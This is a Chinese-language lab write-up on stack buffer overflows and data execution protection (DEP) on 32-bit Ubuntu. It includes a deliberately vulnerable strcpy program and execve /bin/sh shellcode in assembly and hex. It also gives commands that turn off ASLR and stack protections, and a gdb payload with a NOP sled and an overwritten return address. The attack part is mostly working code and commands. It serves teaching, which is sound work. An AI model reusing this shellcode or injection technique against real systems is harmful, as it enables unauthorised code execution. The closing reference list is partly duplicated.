缓冲区溢出与数据执行保护DEP实验
实验环境
虚拟机:VirtualBox 6.1.30 操作系统:Ubuntu21.04 主机OS:Microsoft Windows10
实验要求
- 在关闭数据执行保护机制下,在Linux系统平台上实现缓冲区溢出攻击
- 开启数据执行保护机制,运行一样的溢出攻击代码,比较实验现象
缓冲区溢出概述
- 定义
- 缓冲区是指被程序内部使用或存放用户输入的内存区域,而溢出是指计算机向缓冲区填充数据时超出了缓冲区本身的容量,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
- 由于堆栈是由内存高地址向内存低地址方向增长,而数组的变量是从内存低地址向高地址方向增长。如果没有对数据的越界进行检查和限制,通过向程序的数组缓冲区写入超出其长度的内容,覆盖堆栈原来的返回地址,就会造成缓冲区溢出,从而破坏程序的堆栈。如果构造特殊的注入向量覆盖返回地址,使程序转而执行恶意代码,就达到攻击的目的。
- 作用
- 使程序崩溃,进行拒绝服务攻击
- 在程序的地址空间里安排适当的代码。
- 原因
数据执行保护DEP
-
原因 在冯·诺依曼体系中不区分代码和数据 -
基本原理 将数据所在内存页标识为不可执行,阻止数据页执行代码。当程序溢出成功尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。 -
缺点
- 硬件DEP需要CPU的支持,但并不是所有的CPU都提供了硬件DEP的支持
- 由于兼容性的原因Windows不能对所有进程开启DEP保护,否则可能会出现异常。例如一些第三方的插件DLL,由于无法确认其是否支持DEP,对涉及这些DLL的程序不敢贸然开启DEP保护
- 当DEP工作在最主要的两种状态optin和optout下时,DEP是可以被动态关闭和开启的,这就说明操作系统提供了某些API函数来控制DEP的状态,而API的调用没有任何限制
栈溢出
- 函数调用栈
- 运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等
- 在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大
- 函数状态主要涉及三个寄存器
- ebp 存储当前执行函数的基地址,在函数运行时不变,常用来索引确定函数参数或局部变量的位置。
- esp 存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
- eip 存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,然后eip 自动指向下一条指令
实验内容
-
编写可溢出程序
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char buf[128];
if(argc < 2) return 1;
strcpy (buf ,argv[1]);
printf("argv[1]:%s\n", buf);
return 0;
}
-
编写shellcode
-
定义:通常用于为攻击者启动一个能控制受害者机器的shell的一小段代码 -
Syscall的系统调用函数 int execve(const char *filename, char *const argv[], char * envp[]);
- 设置execve的系统调用号:%eax = 0xb
- 第一个参数filename:%ebx指向系统调用文件字符串的首地址,字符串末尾为’/0’
- argv:要传递给程序的完整参数列表,一般是执行程序的名字,使用%ecx指向
- envp:指向执行execed程序的专门环境指针,使用%edx指向
-
编写shellcode
#include <stdio.h>
void shellcode(){
__asm__(
"xor %eax,%eax\n\t"
"pushl %eax\n\t"
"push $0x68732f2f\n\t"
"push $0x6e69622f\n\t"
"movl %esp,%ebx\n\t"
"pushl %eax\n\t"
"pushl %ebx\n\t"
"movl %esp,%ecx\n\t"
"cltd\n\t"
"movb $0xb,%al\n\t"
"int $0x80\n\t"
);
}
int main(int argc, char **argv){
shellcode();
return 0;
}
-
编译shellcode gcc -m32 -o shellcode shellcode.c -
反汇编shellcode objdump –d shellcode | less -
实现16进制的shellcode
#include<stdio.h>
#include<string.h>
int main(){
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89"
"\xe1\x99\xb0\x0b\xcd\x80";
void (*fp)(void);
fp = (void*)shellcode;
fp();
return 0;
}
gcc -z execstack -m32 -o shellcode shellcode_asm.c -
关闭地址随机化ASLR保护机制 sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" -
测试数组长度 gcc -z execstack -fno-stack-protector bof.c -o bof -m32
gdb -q --args ./bof $(python -c 'print "A" * 120 + "BBBB"+"CCCC"')
- 字符C的16进制为43,所以C覆盖了返回地址,导致程序中断,此时使用
$x/200wx $esp - 200 ,找到字符A的连续值为41的起始地址shellAddress,再将shellAdderss覆盖到返回地址即可 -
成功 gcc -z execstack -fno-stack-protector bof.c -o bof -m32
gdb -q --args ./bof $(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x98\xd3\xff\xff"')
- '\x90’表示NOP,即cpu向下滑动的控指令,因为编译过程可能增加变量导致地址改变,因此增加NOP,只要命中NOP中的一个即可向下滑动到shellcode执行
![image-20220413105137339](https://img-blog.csdnimg.cn/img_convert/9ddc4eb5ad9f9f7aed547e06d25a77d8.png)
参考资料
- 缓冲区溢出实验https://blog.csdn.net/qq_38217427/article/details/105647504
- 缓冲区溢出攻击的分析及防范策略
http://www.doczj.com/doc/acdc2c586d1aff00bed5b9f3f90f76c660374c00-3.html - 栈溢出从入门到放弃https://zhuanlan.zhihu.com/p/25816426
- Windows 缓冲区溢出与数据执行保护DEP
http://blog.csdn.net/morewindows/article/details/6887136 - 缓冲区溢出(栈溢出)https://www.cnblogs.com/tcctw/p/11487645.html
- 栈溢出综合知识https://space.bilibili.com/521870525/channel/seriesdetail?sid=665628
- Canary保护机制(栈保护)的开启与关闭
https://blog.csdn.net/ConlinderFeng/article/details/108436147 - Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153
ail?sid=665628 - Canary保护机制(栈保护)的开启与关闭
https://blog.csdn.net/ConlinderFeng/article/details/108436147 - Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153
|